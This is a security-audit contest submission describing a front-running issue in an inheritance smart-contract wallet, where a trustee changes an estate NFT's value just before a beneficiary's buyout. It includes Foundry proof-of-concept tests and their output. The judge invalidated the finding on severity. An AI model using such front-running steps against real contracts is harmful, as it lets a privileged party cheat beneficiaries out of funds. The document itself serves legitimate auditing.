Inheritable Smart Contract Wallet
First Flight #35
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Invalid

Trustee can Front-Run `InheritanceManager::buyOutEstateNFT` to alter asset costs

stratan

Summary

If the trustee is malicious or colludes with other beneficiaries, they can submit a transaction with higher gas to update nftValue first, altering the cost the beneficiary pays.

Vulnerability Details

buyOutEstateNFT allows a beneficiary to buy out an NFT (i.e representing an estate) by paying its value in the assetToPay token, split among the other beneficiaries.

function buyOutEstateNFT(
uint256 _nftID
) external onlyBeneficiaryWithIsInherited {
uint256 value = nftValue[_nftID];
uint256 divisor = beneficiaries.length;
uint256 multiplier = beneficiaries.length - 1;
// [1]
uint256 finalAmount = (value / divisor) * multiplier;
// [2]
IERC20(assetToPay).safeTransferFrom(
msg.sender,
address(this),
finalAmount
);
for (uint256 i = 0; i < beneficiaries.length; i++) {
if (msg.sender == beneficiaries[i]) {
return;
} else {
// [3]
IERC20(assetToPay).safeTransfer(
beneficiaries[i],
finalAmount / divisor
);
}
}
nft.burnEstate(_nftID);
}

It calculates the finalAmount payment ([1]), transfers finalAmount from the caller-beneficiary to the contract ([2]), and finally distributes it to the other beneficiaries ([3]). The nftValue entry is initialized in InheritanceManager::createEstateNFT:

function createEstateNFT(
string memory _description,
uint256 _value,
address _asset
) external onlyOwner {
uint256 nftID = nft.createEstate(_description);
nftValue[nftID] = _value;
assetToPay = _asset;
}

Later on, the nftValue mapping can be controlled by the Trustee contract's setNftValue function, which is restricted to the trustee via the onlyTrustee modifier.

modifier onlyTrustee() {
if (msg.sender != trustee) {
revert NotTrustee(msg.sender);
}
_;
}
​
function setNftValue(uint256 _index, uint256 _value) public onlyTrustee {
nftValue[_index] = _value;
}

The trustee is appointed by a beneficiary, upon inheritance, by calling appointTrustee.

modifier onlyBeneficiaryWithIsInherited() {
uint256 i = 0;
while (i < beneficiaries.length + 1) {
if (msg.sender == beneficiaries[i] && isInherited) {
break;
}
i++;
}
_;
}
​
function appointTrustee(
address _trustee
) external onlyBeneficiaryWithIsInherited {
trustee = _trustee;
}

Imagine the following scenario:

  1. A beneficiary calls buyOutEstateNFT(nftID), the transaction enters the mempool, visible to the trustee

  2. The trustee calls setNftValue to change the NFT's value before the buyOutEstateNFT transaction is mined

  3. Finally, buyOutEstateNFT(nftID) is executed but nftValue[nftID]'s value has been changed by the trustee

Proof of Concept

The following code demonstrates the aforementioned scenario in two ways (one where the beneficiary pays no token shares to the other beneficiaries, and one where he overpays):

  1. owner adds bob and alice as beneficiaries

  2. owner calls createEstateNFT

  3. deadline expires

  4. bob and alice inherit the wallet

  5. bob appoints trustee

  6. bob calls buyOutEstateNFT(nftID)

    • trustee front-runs and calls setNftValue, changing the asset value to 0 or inflating it

  7. buyOutEstateNFT(nftID) is executed

    • bob pays no token shares to alice, or overpays

    • alice gets nothing, or gets overcompensated

Code

Add test_frontRunBuyOutEstateNFTNoPay and test_frontRunBuyOutEstateNFTOverPay in InheritanceManagerTest.t.sol:

function test_frontRunBuyOutEstateNFTNoPay() public {
address bob = makeAddr("bob");
address alice = makeAddr("alice");
address trustee = makeAddr("trustee");
vm.warp(1);
​
// add beneficiaries
vm.startPrank(owner);
im.addBeneficiery(alice);
im.addBeneficiery(bob);
im.createEstateNFT("villa", 4e6, address(usdc));
vm.stopPrank();
usdc.mint(bob, 4e6);
vm.startPrank(bob);
usdc.approve(address(im), 4e6);
​
// trigger deadline expiration
vm.warp(1 + 90 days);
​
// inherit and appoint trustee
vm.startPrank(bob);
im.inherit();
im.appointTrustee(trustee);
​
// trustee sees bob's transaction in the mempool and front-runs to change `nftValue[nftID]`
vm.startPrank(trustee);
im.setNftValue(1, 0e6);
vm.stopPrank();
​
// bob wants to buy out `nftID` 1 from the other beneficiaries
vm.startPrank(bob);
// `buyOutEstateNFT(nftID)` is executed but with altered value
im.buyOutEstateNFT(1);
console.log(usdc.balanceOf(bob));
console.log(usdc.balanceOf(alice));
assertEq(usdc.balanceOf(alice), 0e6);
assertEq(usdc.balanceOf(bob), 4e6);
}
​
function test_frontRunBuyOutEstateNFTOverPay() public {
address bob = makeAddr("bob");
address alice = makeAddr("alice");
address trustee = makeAddr("trustee");
vm.warp(1);
​
// add beneficiaries
vm.startPrank(owner);
im.addBeneficiery(alice);
im.addBeneficiery(bob);
im.createEstateNFT("villa", 4e6, address(usdc));
vm.stopPrank();
usdc.mint(bob, 4e6);
vm.startPrank(bob);
usdc.approve(address(im), 4e6);
​
// trigger deadline expiration
vm.warp(1 + 90 days);
​
// inherit and appoint trustee
vm.startPrank(bob);
im.inherit();
im.appointTrustee(trustee);
​
// trustee sees bob's transaction in the mempool and front-runs to change `nftValue[nftID]`
vm.startPrank(trustee);
// inflate asset value
im.setNftValue(1, 8e6);
vm.stopPrank();
​
// bob wants to buy out `nftID` 1 from the other beneficiaries
vm.startPrank(bob);
// `buyOutEstateNFT(nftID)` is executed but with altered value
im.buyOutEstateNFT(1);
assertEq(usdc.balanceOf(alice), 2e6);
// bob's share should've been kept but it's gone
assertEq(usdc.balanceOf(bob), 0e6);
}

And run the tests:

$ forge test --mp test/InheritanceManagerTest.t.sol --mt test_frontRunBuyOutEstateNFTNoPay
[⠊] Compiling...
No files changed, compilation skipped
​
Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_frontRunBuyOutEstateNFTNoPay() (gas: 389545)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.10ms (292.79µs CPU time)
​
Ran 1 test suite in 136.66ms (1.10ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
​
$ forge test --mp test/InheritanceManagerTest.t.sol --mt test_frontRunBuyOutEstateNFTOverPay
[⠊] Compiling...
No files changed, compilation skipped
​
Ran 1 test for test/InheritanceManagerTest.t.sol:InheritanceManagerTest
[PASS] test_frontRunBuyOutEstateNFTOverPay() (gas: 406671)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.18ms (298.25µs CPU time)
​
Ran 1 test suite in 136.71ms (1.18ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Note how the two PoCs above break a core assumption/invariant of the InheritanceManager contract, which expects equal share distribution, as well as the paying beneficiary not needing to pay his own share.

Impact

Since Ethereum transactions are visible in the mempool before confirmation, a trustee can observe a pending buyOutEstateNFT call and invoke setNftValue with higher gas to change the NFT’s value before the buyout executes. This breaks the share distribution logic.

Tools Used

  • Manual review

  • Foundry

Recommendations

Consider handling any asset reevaluation off-chain. This shifts trust from the trustee to the beneficiaries' consensus. Another option could be to add a voting-mechanism logic where the asset's value can only be changed if all beneficiaries agree.

Updates

Lead Judging Commences

0xtimefliez Lead Judge 9 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!